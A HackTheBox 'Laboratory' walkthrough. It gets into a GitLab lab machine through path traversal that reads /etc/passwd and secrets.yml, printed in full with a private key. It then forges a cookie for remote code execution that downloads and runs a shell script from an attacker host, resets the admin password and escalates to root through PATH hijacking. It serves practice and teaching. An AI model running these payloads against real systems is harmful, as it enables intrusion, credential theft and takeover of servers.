chu@antisec:~/htb$

← ../ writeups

chu@antisec:~/htb$ cat laboratory.md

Laboratory - HackTheBox - WriteUp

image
laboratory — machine card on hackthebox

chu@antisec:~/htb$ cat tools.txt

Tools used:

● nmap
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
|   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Issuer: commonName=laboratory.htb
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-07-05T10:39:28
| Not valid after:  2024-03-03T10:39:28
| MD5:   2873 91a5 5022 f323 4b95 df98 b61a eb6c
|_SHA-1: 0875 3a7e eef6 8f50 0349 510d 9fbf abc3 c70a a1ca
| tls-alpn:
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can spot two sites:

● urls
https://laboratory.htb/
https://git.laboratory.htb/

Accessing https://git.laboratory.htb/ we're greeted by a GitLab.

Next, let's try to sign up:

Image
gitlab — user registration

After signing up successfully, we have access to the GitLab panel, so let's try to identify the version in use.

On the https://git.laboratory.htb/help page we can identify the exact version being used:

Image
/help — gitlab version exposed

After finding the version, we can search for exploits and vulnerabilities already known for it...

A report on the bug bounty site HackerOne is our starting point.

So, we must first create two projects:

I'll call one 'chu' and the other one 'stevenseagal' (XD)

Project 1 - chu:

Image
project 1 — creating the chu project

Project 2 - stevenseagal:

Image
project 2 — creating stevenseagal

We can check out both created projects:

Image
projects — both created

After creating both projects, let's try to replicate what was done in the H1 report.

First step, create a new Issue in the 'chu' project

Image
issue — new issue in the chu project

Inside the issue we'll use the same payload as the report

Image
payload — attachment pasted into the issue
● payload
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

Right after that, let's move the Issue to the other project. (in my case from the chu project to stevenseagal)

Image
move — moving the issue between projects

After the move, inside project 2(stevenseagal) we can see it already renamed the attached file called 'a' to the file we wanted (/etc/passwd)

Image
traversal — attachment renamed to /etc/passwd

Opening the file, we get the contents:

● /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

Now that we can read files on the server, we can look for sensitive files to help us with the exploitation... One of them is the secrets.yml

So, we repeat the same step we did to read /etc/passwd.

Image
payload — now on secrets.yml
● payload
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

Moving to project 2, we get the secrets.yml file

Image
secrets.yml — read off the server
● secrets.ymlnot truncated — yep, that's the real thing, key and all
# This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.

---
production:
  db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
  secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
  otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af
  openid_connect_signing_key: |
    -----BEGIN RSA PRIVATE KEY-----
    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
    -----END RSA PRIVATE KEY-----

We can see the original report was about reading files, but reading further along, we can see it escalates to an RCE using the gitlab-console.

For that, we need to install GitLab, let's use curl for it:

● cmd
curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb.sh | sudo bash

After the install, let's reconfigure GitLab:

● cmd
gitlab-ctl reconfigure

Edit the config file with the secret_key_base we got from our target; we can just comment out the old line and add a new one:

Image
nano — editing the local secrets.yml
● cmd
nano /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

After adding the secret_key_base to our file, let's run the rails console.

gitlab-rails console

Image
rails console — console loaded

Now let's take the H1 payload and make some changes, we add the command: 'curl -s 10.10.14.219:1/chu.sh -o /tmp/chu.sh && chmod 777 /tmp/chu.sh' That way, downloading our shell, saving it in the /tmp directory and adding permission.

● gitlab-rails console
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `curl -s 10.10.14.219:1/chu.sh -o /tmp/chu.sh && chmod 777 /tmp/chu.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

After this command, we'll get a cookie in its output:

Image
cookie — console output

Now let's send it to our target

Image
curl — sending the cookie to the target
● cmd
curl -k -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAYIjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgY3VybCAtcyAxMC4xMC4xNC4yMTk6MS9jaHUuc2ggLW8gL3RtcC9jaHUuc2ggJiYgY2htb2QgNzc3IC90bXAvY2h1LnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--f4d90880783a7e9690a1708f3b37c665adf38322"

Sending the request, we can see our payload worked and it downloaded our file:

Image
download — shell downloaded on the target

Now we still need to execute our file; for that we'll do the same step as above, we'll send a cookie with the command: 'bash /tmp/chu.sh'

● gitlab-rails console
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `bash /tmp/chu.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

With that we have the cookie ready to be sent:

Image
cookie 2 — execution payload

Now we just need to send the payload that will execute our shell (/tmp/chu.sh)

image
curl — final request
● cmd
curl -k -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiUiNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC90bXAvY2h1LnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--68cfa7b052d7fb23908e3bc99f75a3ee154e5d0a"

And we're in!

Image
shell — access in the container
● cmd
nc -vvnlp 1337

After connecting to the machine and doing some quick enumeration, we can see we're in a docker. Let's try using the machine's own gitlab-rails console to reset the password of the user with ID 1.

Image
rails console — resetting the password
● gitlab-rails console
user = User.where(id: 1).first
user.password = 'chu_was_here'
user.password_confirmation = 'chu_was_here'
user.save!

With that we managed to reset the password of the user with id 1, now let's try to log in with the new creds.

Image
login — dexter logged in
● creds
dexter:chu_was_here

Inside the 'SecureDocker' project we can find RSA keys.

Image
securedocker — rsa key in the project

So we save it on our machine and try to use it.

Image
ssh — login with the key

ee boom, we are in ~

After a bit of enumeration, we can find this binary:

Image
suid — docker-security binary
● cmd
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

Trying to read the /usr/local/bin/docker-security file, we can see the file executes the command: chmod 700 /usr/bin/dockerchmod

Image
strings — chmod inside the binary

So let's try path hijacking; for that let's create a file called chmod in the /tmp folder

● cmd
echo "/bin/bash" > chmod
chmod 777 chmod
export PATH=/tmp:$PATH

After that we execute the /usr/local/bin/docker-security file

And then...

Image
root — path hijacking worked

we are root ~

if i helped you, add + respect at my profile :D

My references:

● references
https://hackerone.com/reports/827052
https://docs.gitlab.com/12.10/ee/security/reset_root_password.html
https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/